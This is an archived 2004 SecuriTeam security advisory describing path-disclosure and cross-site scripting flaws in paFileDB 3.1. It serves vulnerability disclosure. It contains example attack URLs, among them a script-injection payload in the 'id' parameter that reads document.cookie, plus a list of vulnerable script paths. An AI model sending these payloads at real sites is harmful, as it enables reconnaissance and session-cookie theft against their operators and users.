[UNIX] paFileDB Multiple Vulnerabilities (XSS, Path Disclosure)

From: SecuriTeam (support_at_securiteam.com)
Date: 05/02/04

  • Next message: SecuriTeam: "[UNIX] phpBB IP Spoofing Vulnerability"
    To: list@securiteam.com
    Date: 2 May 2004 11:25:25 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      paFileDB Multiple Vulnerabilities (XSS, Path Disclosure)
    ------------------------------------------------------------------------

    SUMMARY

    " <http://www.phparena.net/pafiledb.php> paFileDB is designed to allow
    webmasters have a database of files for download on their site. To add a
    download, all you do is upload the file using FTP or whatever method you
    use, log into paFileDB's admin center, and fill out a form to add a file.
    paFileDB lets you edit and delete the files too. No more messing with a
    bunch of HTML pages for a file database on your site! Using speedy MySQL
    for storing data, and powerful PHP for processing everything, paFileDB is
    one of the best and easiest ways to manage files!"

    The script package is prone to cross-site scripting attacks and
    information gathering by full path disclosure.

    DETAILS

    Vulnerable Systems:
     * paFileDB version 3.1, possibly prior

    Path Disclosure
    This vulnerability would allow a remote user to determine the full path to
    the web root directory and other potentially sensitive information.

    An example HTTP request:
    http://site/includes/admin/login.php?formname=DarkBicho&formpass=DarkBicho&B1=%3E%3E Log In %3C%3C&action=admin&login=do

    A standard error message is returned specifying the full pathname of the
    web root directory and the script path:
    Fatal error: Call to undefined function: locbar() in
    /home/site/includes/admin/login.php on line 12

    Additional vulnerable scripts (the list is by no means complete):
    http://localhost/includes/category.php
    http://localhost/includes/search.php
    http://localhost/includes/main.php
    http://localhost/includes/viewall.php
    http://localhost/includes/download.php
    http://localhost/includes/email.php
    http://localhost/includes/file.php
    http://localhost/includes/rate.php
    http://localhost/includes/stats.php

    Cross-site Scripting
    The XSS condition occurs due to the 'id' parameter not being thoroughly
    sanitized:
    http://localhost/pafiledb.php?action=category&id='<scr!pt>alert(document.cookie);</scr!pt>

    The error message returned by the server is:
    paFileDB was unable to successfully run a MySQL query.
    MySQL Returned this error: You have an error in your SQL syntax near
    '(document.cookie);'' at line 1 Error number: 1064
    The query that caused this error was: SELECT * FROM pafiledb_cat WHERE
    cat_id = '''

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:k1ll3rb0y@hotmail.com>
    k1LL3r B0y.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[UNIX] phpBB IP Spoofing Vulnerability"

    Relevant Pages

    • [NT] Horde Multiple XSS
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... based on PHP and the Horde Framework." ... Horde is subject to a client side script injection vulnerability in the ...
      (Securiteam)
    • [UNIX] Mantis Bug Tracker Multiple Vulnerabilities
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... any HTML or script code can be injected. ... * Another XSS vulnerability can be found in the signup.php script (ex.: ... there is also a remote PHP code execution in the system. ...
      (Securiteam)
    • [NEWS] NetworkEverywhere Router Model NR041 Script Injection via DHCP
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Everywhere NR041 Cable/DSL 4-port router "connects multiple PCs to your ... malicious script code can be ... The code for such an HTML file is ...
      (Securiteam)
    • [NT] Snitz Forum 2000 Cross Site Scripting In User Registration Form
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... A cross site scripting vulnerability has been found in the user ... When registering a new account the register.asp script fails to properly ... Vendor Status: ...
      (Securiteam)
    • [NEWS] PeopleSoft Grid Option Vulnerability
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Attached to this solution (download from PeopleSoft Solution ID: ... The script is for Microsoft SQL Server, if you are on a different Database ...
      (Securiteam)